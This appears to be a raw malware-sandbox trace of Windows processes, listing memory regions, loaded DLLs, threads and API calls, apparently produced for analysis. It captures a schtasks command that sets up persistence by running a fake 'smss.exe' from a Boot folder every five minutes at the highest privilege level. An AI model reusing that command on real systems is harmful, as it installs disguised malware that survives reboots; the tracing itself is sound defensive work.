1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3820 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3821 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3822 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3823 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3824 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3825 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3826 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3827 start_va = 0x260000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3828 start_va = 0x440000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3829 start_va = 0x260000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3830 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4323 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4324 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4325 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4326 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4327 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4328 start_va = 0xb0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4329 start_va = 0x5c0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 4330 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4331 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5365 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5366 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5367 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5368 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5369 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5385 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5386 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5387 start_va = 0x6c0000 end_va = 0x847fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 5388 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5389 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5390 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5391 start_va = 0x850000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 5392 start_va = 0x1320000 end_va = 0x271ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001320000" filename = "" Region: id = 5518 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5519 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5520 start_va = 0x9e0000 end_va = 0xab0fff monitored = 1 entry_point = 0xaaf1ee region_type = mapped_file name = "choice.exe" filename = "\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe") Region: id = 5521 start_va = 0x9e0000 end_va = 0xab0fff monitored = 1 entry_point = 0xaaf1ee region_type = mapped_file name = "choice.exe" filename = "\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe") Region: id = 5658 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5659 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5660 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5661 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5662 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5663 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5793 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5794 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5795 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5796 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 5797 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5798 start_va = 0x7fe91ee0000 end_va = 0x7fe91f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 5799 start_va = 0x7fe91f70000 end_va = 0x7fe91fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f70000" filename = "" Region: id = 5800 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 5801 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5802 start_va = 0x9e0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 5803 start_va = 0xac0000 end_va = 0xcdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 6236 start_va = 0xd60000 end_va = 0xe5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 6237 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6238 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 6239 start_va = 0x2720000 end_va = 0x1a71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 6543 start_va = 0xe60000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 6544 start_va = 0xac0000 end_va = 0xbc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 6545 start_va = 0xc60000 end_va = 0xcdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 6548 start_va = 0x1a890000 end_va = 0x1a98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a890000" filename = "" Region: id = 6549 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6681 start_va = 0x1a720000 end_va = 0x1a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a720000" filename = "" Region: id = 6682 start_va = 0x1aa40000 end_va = 0x1ab3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa40000" filename = "" Region: id = 6683 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 174 os_tid = 0xc14 Thread: id = 238 os_tid = 0xc68 Thread: id = 283 os_tid = 0xd68 Thread: id = 293 os_tid = 0xe7c Process: id = "38" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3de74000" os_pid = "0xc10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"smsss\" /sc MINUTE /mo 5 /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3337 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3338 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3339 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3340 start_va = 0x220000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3341 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3342 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3343 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3344 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3345 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3346 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3347 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3348 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3349 start_va = 0x2a0000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3350 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3351 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3352 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3353 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3354 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3355 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3356 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3357 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3358 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3359 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3360 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3361 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3362 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3363 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3364 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3365 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3366 start_va = 0xc0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3367 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3368 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3369 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3370 start_va = 0x480000 end_va = 0x607fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 3371 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3372 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3373 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3374 start_va = 0x610000 end_va = 0x790fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 3375 start_va = 0x7a0000 end_va = 0x1b9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 3376 start_va = 0x1c0000 end_va = 0x1d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3377 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3378 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3379 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3380 start_va = 0x1ba0000 end_va = 0x1e6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3381 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3382 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3383 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3384 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3385 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3386 start_va = 0x2a0000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3387 start_va = 0x1e70000 end_va = 0x1f4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 3388 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3389 start_va = 0x2000000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 3390 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3391 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3392 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 3393 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3394 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 3395 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3396 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3397 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 157 os_tid = 0xc24 [0075.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29fbc0 | out: lpSystemTimeAsFileTime=0x29fbc0*(dwLowDateTime=0x55ed0580, dwHighDateTime=0x1d9eb0c)) [0075.425] GetCurrentProcessId () returned 0xc10 [0075.425] GetCurrentThreadId () returned 0xc24 [0075.425] GetTickCount () returned 0x17684fe [0075.425] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x29fbc8 | out: lpPerformanceCount=0x29fbc8*=2488190824044) returned 1 [0075.426] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0075.427] __set_app_type (_Type=0x1) [0075.427] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0075.427] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0075.428] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0075.428] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0075.428] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0075.428] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0075.428] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0075.428] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0075.429] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0075.429] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0075.429] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0075.429] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0075.429] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0075.429] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.429] WinSqmIsOptedIn () returned 0x0 [0075.430] GetProcessHeap () returned 0x380000 [0075.430] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39bab0 [0075.430] SetLastError (dwErrCode=0x0) [0075.430] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0075.430] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0075.430] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b 